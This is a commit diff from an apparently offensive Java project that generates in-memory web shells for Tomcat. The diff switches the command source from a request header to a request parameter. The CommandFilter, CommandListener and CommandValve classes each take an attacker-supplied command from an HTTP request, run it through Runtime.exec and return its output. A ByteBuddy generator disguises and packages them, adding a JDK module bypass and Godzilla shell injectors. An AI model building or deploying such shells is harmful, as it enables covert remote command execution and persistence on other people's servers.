mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 23:41:52 +08:00
fix: command shell use paramName
This commit is contained in:
@@ -14,5 +14,5 @@ import lombok.experimental.SuperBuilder;
|
|||||||
@ToString
|
@ToString
|
||||||
public class CommandShellConfig extends ShellConfig {
|
public class CommandShellConfig extends ShellConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String headerName = "cmd";
|
private String paramName = "cmd";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -13,5 +13,5 @@ public enum ShellTool {
|
|||||||
/**
|
/**
|
||||||
* 命令回显
|
* 命令回显
|
||||||
*/
|
*/
|
||||||
CMD
|
COMMAND
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,14 @@
|
|||||||
package com.reajason.javaweb.memsell;
|
package com.reajason.javaweb.memsell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FieldAccessor;
|
import net.bytebuddy.implementation.FieldAccessor;
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import net.bytebuddy.implementation.Implementation;
|
||||||
import net.bytebuddy.implementation.SuperMethodCall;
|
import net.bytebuddy.implementation.SuperMethodCall;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -14,17 +17,23 @@ import net.bytebuddy.matcher.ElementMatchers;
|
|||||||
*/
|
*/
|
||||||
public class CommandGenerator {
|
public class CommandGenerator {
|
||||||
|
|
||||||
public static byte[] generate(Class<?> commandClass, String commandClassName, String headerName) {
|
public static byte[] generate(Class<?> commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) {
|
||||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||||
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName));
|
.andThen(FieldAccessor.ofField("paramName").setsValue(paramName));
|
||||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(commandClass)
|
.redefine(commandClass)
|
||||||
.name(commandClassName)
|
.name(commandClassName)
|
||||||
.visit(TargetJDKVersionVisitorWrapper.DEFAULT)
|
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
|
||||||
.constructor(ElementMatchers.any())
|
.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||||
.intercept(fieldSets)
|
if (targetJdkVersion >= Opcodes.V9) {
|
||||||
.make()) {
|
builder = ByPassJdkModuleInterceptor.extend(builder);
|
||||||
|
}
|
||||||
|
if (useJakarta) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
|
||||||
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return make.getBytes();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -49,7 +49,6 @@ public class TomcatShell {
|
|||||||
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
||||||
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
||||||
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
||||||
// tomcat 无法同时引入两个版本的包
|
|
||||||
GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -64,6 +63,7 @@ public class TomcatShell {
|
|||||||
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
||||||
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
||||||
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
||||||
|
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
@@ -89,12 +89,12 @@ public class TomcatShell {
|
|||||||
);
|
);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case CMD: {
|
case COMMAND: {
|
||||||
classPair = COMMAND_SHELL_MAP.get(shellType);
|
classPair = COMMAND_SHELL_MAP.get(shellType);
|
||||||
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
|
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
|
||||||
shellBytes = CommandGenerator.generate(classPair.getLeft(),
|
shellBytes = CommandGenerator.generate(classPair.getLeft(),
|
||||||
commandConfig.getShellClassName(),
|
commandConfig.getShellClassName(),
|
||||||
commandConfig.getHeaderName());
|
commandConfig.getParamName(), useJakarta, targetJdkVersion);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
|
|||||||
+2
-2
@@ -11,7 +11,7 @@ import java.io.InputStream;
|
|||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
public class CommandFilter implements Filter {
|
public class CommandFilter implements Filter {
|
||||||
public String headerName;
|
public String paramName;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void init(FilterConfig filterConfig) throws ServletException {
|
public void init(FilterConfig filterConfig) throws ServletException {
|
||||||
@@ -22,7 +22,7 @@ public class CommandFilter implements Filter {
|
|||||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||||
String cmd = servletRequest.getHeader(headerName);
|
String cmd = servletRequest.getParameter(paramName);
|
||||||
try {
|
try {
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
|||||||
+2
-2
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandListener implements ServletRequestListener {
|
public class CommandListener implements ServletRequestListener {
|
||||||
public String headerName;
|
public String paramName;
|
||||||
|
|
||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
@@ -26,7 +26,7 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||||
try {
|
try {
|
||||||
String cmd = request.getHeader(headerName);
|
String cmd = request.getParameter(paramName);
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
|||||||
+2
-2
@@ -15,7 +15,7 @@ import java.io.InputStream;
|
|||||||
public class CommandValve implements Valve {
|
public class CommandValve implements Valve {
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
public String headerName;
|
public String paramName;
|
||||||
|
|
||||||
public CommandValve() {
|
public CommandValve() {
|
||||||
}
|
}
|
||||||
@@ -42,7 +42,7 @@ public class CommandValve implements Valve {
|
|||||||
@Override
|
@Override
|
||||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||||
try {
|
try {
|
||||||
String cmd = request.getHeader(headerName);
|
String cmd = request.getParameter(paramName);
|
||||||
if (cmd != null) {
|
if (cmd != null) {
|
||||||
Process exec = Runtime.getRuntime().exec(cmd);
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
InputStream inputStream = exec.getInputStream();
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
|||||||
+4
-3
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memsell.tomcat.command;
|
package com.reajason.javaweb.memsell.tomcat.command;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.config.Constants;
|
||||||
import com.reajason.javaweb.memsell.CommandGenerator;
|
import com.reajason.javaweb.memsell.CommandGenerator;
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
import com.reajason.javaweb.util.ClassUtils;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
@@ -16,11 +17,11 @@ class CommandFilterTest {
|
|||||||
@Test
|
@Test
|
||||||
void testGenerate() {
|
void testGenerate() {
|
||||||
String className = "org.command.CommandFilter";
|
String className = "org.command.CommandFilter";
|
||||||
String headerName = "cmd";
|
String paramName = "cmd";
|
||||||
byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, headerName);
|
byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, paramName, false, Constants.DEFAULT_VERSION);
|
||||||
Object obj = ClassUtils.newInstance(bytes);
|
Object obj = ClassUtils.newInstance(bytes);
|
||||||
assertEquals(className, obj.getClass().getName());
|
assertEquals(className, obj.getClass().getName());
|
||||||
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
|
assertEquals(paramName, ClassUtils.getFieldValue(obj, "paramName"));
|
||||||
System.out.println(Base64.encodeBase64String(bytes));
|
System.out.println(Base64.encodeBase64String(bytes));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Reference in New Issue
Block a user